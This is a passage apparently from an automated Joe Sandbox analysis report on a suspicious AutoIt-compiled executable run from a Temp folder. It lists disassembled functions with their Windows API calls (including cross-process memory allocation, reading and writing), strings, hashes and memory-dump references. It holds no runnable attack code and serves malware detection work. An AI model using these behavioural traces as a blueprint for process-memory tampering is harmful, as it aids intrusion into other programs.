Instruction Fuzzy Hash: 93016770500704ABFF255B20DF4FF9577B8BB00F05F000559E646A15E1D7F45944AB90

Function 00F622A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F622BE

Part of subcall function 00F629C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000), ref: 00F629DE
Part of subcall function 00F629C8: GetLastError.KERNEL32(00000000,?,00F6D7D1,00000000,00000000,00000000,00000000,?,00F6D7F8,00000000,00000007,00000000,?,00F6DBF5,00000000,00000000), ref: 00F629F0

_free.LIBCMT ref: 00F622D0
_free.LIBCMT ref: 00F622E3
_free.LIBCMT ref: 00F622F4
_free.LIBCMT ref: 00F62305

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: cc6843ed631d07c22d3fad7460ac43cf1fbf492cd29d226e112c0598228b45c2
Instruction ID: aa2bbad4af0e0cb53714d3c12d2c0ca7e376937310798e4d4d601d83c32f7215
Opcode Fuzzy Hash: cc6843ed631d07c22d3fad7460ac43cf1fbf492cd29d226e112c0598228b45c2
Instruction Fuzzy Hash: 2EF030B09009248B8767AF58FC019283BB4BB187E1F00051AF450D2269C73E4411FBE5

Function 00F495C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00F495D4
StrokeAndFillPath.GDI32(?,?,00F871F7,00000000,?,?,?), ref: 00F495F0
SelectObject.GDI32(?,00000000), ref: 00F49603
DeleteObject.GDI32 ref: 00F49616
StrokePath.GDI32(?), ref: 00F49631

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 1ec6558f40112519879b1ba33c22776beb45c59ed82277d4679148dc12c2ad04
Instruction ID: eb9a115fe45329663b6298e43f8977f86d12dd524ffa7f819700acd6cff3f37d
Opcode Fuzzy Hash: 1ec6558f40112519879b1ba33c22776beb45c59ed82277d4679148dc12c2ad04
Instruction Fuzzy Hash: 9AF03C31509208EBDB275F65EE0DB653F61BB00332F148214F9A9960F4CB7A8991EF60

Function 00F60F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00F610F9
__freea.LIBCMT ref: 00F61117

Part of subcall function 00F61537: _free.LIBCMT ref: 00F6154F

Strings

a/p, xrefs: 00F611DE
am/pm, xrefs: 00F6117A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: a9bd80f194cdf2b3e74ff5058b8fd7d63cf37508d7549c21de56218fbab196b8
Instruction ID: d204e4756f066e60072195444a80b3e5e6d37ab56c804836dc9940ecab1d33d3
Opcode Fuzzy Hash: a9bd80f194cdf2b3e74ff5058b8fd7d63cf37508d7549c21de56218fbab196b8
Instruction Fuzzy Hash: E0D10132D00206DADB289F68C856BFEB7B5FF06320F2C4159E906AB751D7359D80EB91

Function 00FB7B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00F50242: EnterCriticalSection.KERNEL32(0100070C,01001884,?,?,00F4198B,01002518,?,?,?,00F312F9,00000000), ref: 00F5024D
Part of subcall function 00F50242: LeaveCriticalSection.KERNEL32(0100070C,?,00F4198B,01002518,?,?,?,00F312F9,00000000), ref: 00F5028A

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Part of subcall function 00F500A3: __onexit.LIBCMT ref: 00F500A9

__Init_thread_footer.LIBCMT ref: 00FB7BFB

Part of subcall function 00F501F8: EnterCriticalSection.KERNEL32(0100070C,?,?,00F48747,01002514), ref: 00F50202
Part of subcall function 00F501F8: LeaveCriticalSection.KERNEL32(0100070C,?,00F48747,01002514), ref: 00F50235

Strings

5, xrefs: 00FB7C78
Variable must be of type 'Object'., xrefs: 00FB7C3A
G, xrefs: 00FB7C7F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: 8a5af8f856e350eb6b64cafd98063e61bd7f80e0eae6302f8ba53bb5c8f38a60
Instruction ID: e73325fed7b5483a56d0b0da1bdcd043bbe22ac84a628c038eafd21bdc741555
Opcode Fuzzy Hash: 8a5af8f856e350eb6b64cafd98063e61bd7f80e0eae6302f8ba53bb5c8f38a60
Instruction Fuzzy Hash: 70919A70A04209AFCB14EF56D891DEDBBB1BF88350F148049F846AB292DB75AE41EF51

Function 00F92716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F9B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00F921D0,?,?,00000034,00000800,?,00000034), ref: 00F9B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00F92760

Part of subcall function 00F9B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00F921FF,?,?,00000800,?,00001073,00000000,?,?), ref: 00F9B3F8

Part of subcall function 00F9B32A: GetWindowThreadProcessId.USER32(?,?), ref: 00F9B355
Part of subcall function 00F9B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00F92194,00000034,?,?,00001004,00000000,00000000), ref: 00F9B365
Part of subcall function 00F9B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00F92194,00000034,?,?,00001004,00000000,00000000), ref: 00F9B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00F927CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00F9281A

Strings

@, xrefs: 00F92832

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 471358b870f5b91ec497d7d39208cd6a4eac61b849f9089f32b277c66bd99a40
Instruction ID: d6cb8534c5b52ab299347c7e4ae2775eb6a40896fa800300e7069d01af4bdd28
Opcode Fuzzy Hash: 471358b870f5b91ec497d7d39208cd6a4eac61b849f9089f32b277c66bd99a40
Instruction Fuzzy Hash: 1A412A72900218BEEF10DFA4DD46EEEBBB8AF09310F004095EA55B7181DA716E45EBA1

Function 00F6172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe,00000104), ref: 00F61769
_free.LIBCMT ref: 00F61834
_free.LIBCMT ref: 00F6183E

Strings

C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe, xrefs: 00F61760, 00F61767, 00F61796, 00F617CE

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe
API String ID: 2506810119-2313071367
Opcode ID: fcc38755f7fd9b6d9e25132d88d093264a89839740ed0bfdd77be7e4793b9189
Instruction ID: 2ababf98555e20861330bff6d60c9abdf0ad3c89aefdc6c4f64c2c242e78ecd5
Opcode Fuzzy Hash: fcc38755f7fd9b6d9e25132d88d093264a89839740ed0bfdd77be7e4793b9189
Instruction Fuzzy Hash: 3D3161B1E00218ABDB22DFA99C85D9EBBFCFB85360F184166F844D7201D6748E41EB90

Function 00F9C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00F9C306
DeleteMenu.USER32(?,00000007,00000000), ref: 00F9C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,01001990,015855E8), ref: 00F9C395

Strings

0, xrefs: 00F9C2DF

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 0111b8111ad49048d5168acf27f0eec5cd3a84b4b2dc97f05815a2f8b041e251
Instruction ID: 98856ed0535e1aedee5d71d9d1d3a9417583b43fa1ab72c7d6088b911a5b2fe2
Opcode Fuzzy Hash: 0111b8111ad49048d5168acf27f0eec5cd3a84b4b2dc97f05815a2f8b041e251
Instruction Fuzzy Hash: F041C2716043019FEB24DF29DC85F1ABBE8AF85320F048A1DF9A5972D1D774E904EB92

Function 00FB304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00FB3077,?,?), ref: 00FB3378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00FB307A
_wcslen.LIBCMT ref: 00FB309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00FB3106

Strings

255.255.255.255, xrefs: 00FB3095, 00FB309A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: b23d50ddf5c4c8cdfcbfd5a5d8f9064b7b49653351afdb0dfff87beb7df71f92
Instruction ID: 9ece32de23d5a81e73eb6c4c169683459d7e9b15d8c8b0a07fbf64f13db7eb73
Opcode Fuzzy Hash: b23d50ddf5c4c8cdfcbfd5a5d8f9064b7b49653351afdb0dfff87beb7df71f92
Instruction Fuzzy Hash: BF313739A042059FCB10DF2EC881EEA77E0EF14368F248059E8158B392DB71EE41EF60

Function 00FC4653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00FC4705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00FC4713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00FC471A

Strings

msctls_updown32, xrefs: 00FC4684

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 7e8dbee1562d04f99203d0fafdbfacae28cc0133b424c25ff92261d75f59a344
Instruction ID: ae979b70d3dedf99ecba5009ce0ce6dc257f40f0041dcf2e904e49806b5dcff0
Opcode Fuzzy Hash: 7e8dbee1562d04f99203d0fafdbfacae28cc0133b424c25ff92261d75f59a344
Instruction Fuzzy Hash: 2D215CB5600209AFDB11DF64DD92EA737ADEF4A3A4B040059FA049B391CB35FC51EBA0

Function 00F995AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00F9961D

Strings

#requireadmin, xrefs: 00F995D9
#OnAutoItStartRegister, xrefs: 00F995F3
#notrayicon, xrefs: 00F995B7

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: f5d546e8b529c2d5b02114dd945be03be9d38173b5cf225431759a82faeff118
Instruction ID: c2b1b17625fdeac2479356f4cd9e8bcfbc23544161a30db31a5ea0e90bb62fb9
Opcode Fuzzy Hash: f5d546e8b529c2d5b02114dd945be03be9d38173b5cf225431759a82faeff118
Instruction Fuzzy Hash: C321387250861166EB31AA2CDC03FB7B7E89F91320F16402EF94997041EBD6AD49F2D6

Function 00FA49F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FA4A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00FA4A5C
SetErrorMode.KERNEL32(00000000,?,?,00FCCC08), ref: 00FA4AD0

Strings

%lu, xrefs: 00FA4A6F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 84558129202e02ab0e26badab146f832dcef51c96398ccdf932705a516cd1dd1
Instruction ID: 4844c1a13d1e979ef8e6185e9c9014be76801a3aa8b03f8289a150f1e822ca1d
Opcode Fuzzy Hash: 84558129202e02ab0e26badab146f832dcef51c96398ccdf932705a516cd1dd1
Instruction Fuzzy Hash: 5831D271A00109AFDB10DF54C981EAA7BF8EF49318F1480A9F908DB352DBB5ED45DBA1

Function 00F92F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F36B57: _wcslen.LIBCMT ref: 00F36B6A

Part of subcall function 00F92DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00F92DC5
Part of subcall function 00F92DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00F92DD6
Part of subcall function 00F92DA7: GetCurrentThreadId.KERNEL32 ref: 00F92DDD
Part of subcall function 00F92DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00F92DE4

GetFocus.USER32 ref: 00F92F78

Part of subcall function 00F92DEE: GetParent.USER32(00000000), ref: 00F92DF9

GetClassNameW.USER32(?,?,00000100), ref: 00F92FC3
EnumChildWindows.USER32(?,00F9303B), ref: 00F92FEB

Strings

%s%d, xrefs: 00F92FFF

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 6a68c89fbe8085b73ebcd8546853e00f036716ad7b9169833f39c134f5de0ce7
Instruction ID: 200ea05bc1e4f80ba94e9b98c556b933312176d9683331a85250cf9e566f82d0
Opcode Fuzzy Hash: 6a68c89fbe8085b73ebcd8546853e00f036716ad7b9169833f39c134f5de0ce7
Instruction Fuzzy Hash: A311E4716002096BDF407F708D8AEED776AAF84314F048075FA0DDB252DE349909BB60

Function 00F8D3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 00F8D3BF
FreeLibrary.KERNEL32 ref: 00F8D3E5

Strings

GetSystemWow64DirectoryW, xrefs: 00F8D3B9
X64, xrefs: 00F8D2A8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: d27686f5e2e605ed7376e409a77e64eabd7294ef8a0285a6022128f787e478d3
Instruction ID: 172dc952ed4a04bd7e07173994fe51fc9cdf407a610ba4be07aa4342d8d01dc6
Opcode Fuzzy Hash: d27686f5e2e605ed7376e409a77e64eabd7294ef8a0285a6022128f787e478d3
Instruction Fuzzy Hash: D6F0AB33C02622EBD33232118C59FE9B310AF00701F598119F80AE30C5DB20CD40B3C2

Function 00F9007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91c007c858b434a6ad71b7f3f90c97feccc5e6965d9e7f80df4d1452e8f26b85
Instruction ID: 37154d77f25197aa91f4d7bfe25a4a65b797ddb586c17450675e663f5d632791
Opcode Fuzzy Hash: 91c007c858b434a6ad71b7f3f90c97feccc5e6965d9e7f80df4d1452e8f26b85
Instruction Fuzzy Hash: 2FC11B75A0021AEFEB14CF94C894EAEB7B5FF48714F208598E505EB251DB31DD81EB90

Function 00F63E80 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00F63F0B
__alldvrm.LIBCMT ref: 00F6410C
__alldvrm.LIBCMT ref: 00F6412E

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: 3ed389782f5bb65d5dc2de8273a291c3a6ba9efb038f9df5db23cccda3cf183f
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: 69A18E72E00356AFDB26DF18CC917AEBBF4EF62360F14416DE5559B282C238AD81E750

Function 00FB342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00FB3459
CoUninitialize.OLE32 ref: 00FB3463
VariantInit.OLEAUT32(?), ref: 00FB346E
VariantClear.OLEAUT32(?), ref: 00FB371B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: c335a1eb7459a300141b77ba537fac270589e995cd7a3faf4680db86eed4106d
Instruction ID: b39d47d2208e0af4756d68bfe410d5ffb296b27c51d78dcfbf7e9ea675f45a70
Opcode Fuzzy Hash: c335a1eb7459a300141b77ba537fac270589e995cd7a3faf4680db86eed4106d
Instruction Fuzzy Hash: 94A16D756043009FCB14EF29C985A5AB7E5FF88720F088859F9499B362DB34ED01EF91

Function 00F90436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00FCFC08,?), ref: 00F905F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00FCFC08,?), ref: 00F90608
